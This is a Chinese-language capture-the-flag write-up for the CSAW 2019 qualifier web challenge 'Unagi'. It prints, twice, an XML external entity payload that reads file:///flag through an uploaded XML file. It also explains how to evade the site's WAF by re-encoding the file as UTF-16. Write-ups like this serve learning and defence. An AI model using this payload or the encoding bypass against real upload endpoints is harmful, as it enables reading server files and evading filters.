[CSAWQual 2019]Web_Unagi
文章目录
- [CSAWQual 2019]Web_Unagi
- 掌握知识
- 解题思路
- 关键payload
掌握知识
XXE漏洞利用,xml文件转换编码绕过WAF(UTF-8 --> UTF-16),xml文件格式的书写
再遇到上传xml文件被拦截,就尝试修改编码再上传,换成其他的编码可能就匹配不到了UTF-16
解题思路
- 打开题目链接,有四个关键的导航栏,内容分别为欢迎语,用户信息,上传文件,提示
flag在/flag下

- 其中上传文件界面有上传文件的例子,点开发现是
xml文件,看来多半是上传xml文件,进行XXE读取flag的利用了


- 根据网页上给出的XML的代码,将所有标签都复制下来,添加XXE利用头,再修改一个标签的内容,改成
&admin;为了输出命令执行的结果。这里需要添加<intro>标签,因为其他标签长度不够不能显示完整的flag值,改标签能在user界面看到。
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>

- 最关键的知识点就是,直接上传会被
WAF拦截,这里需要用到XML文件转换编码来进行绕过,将UTF-8转换成UTF-16,使用vscode打开,直接在右下角更改编码即可。这个知识点确实第一次知道,记下来,以防后面用到。ctf考的就是知识点的积累,记得的题会,没遇到的知识点就会卡住了。上传编码后的文件,界面会输出flag了


关键payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>



















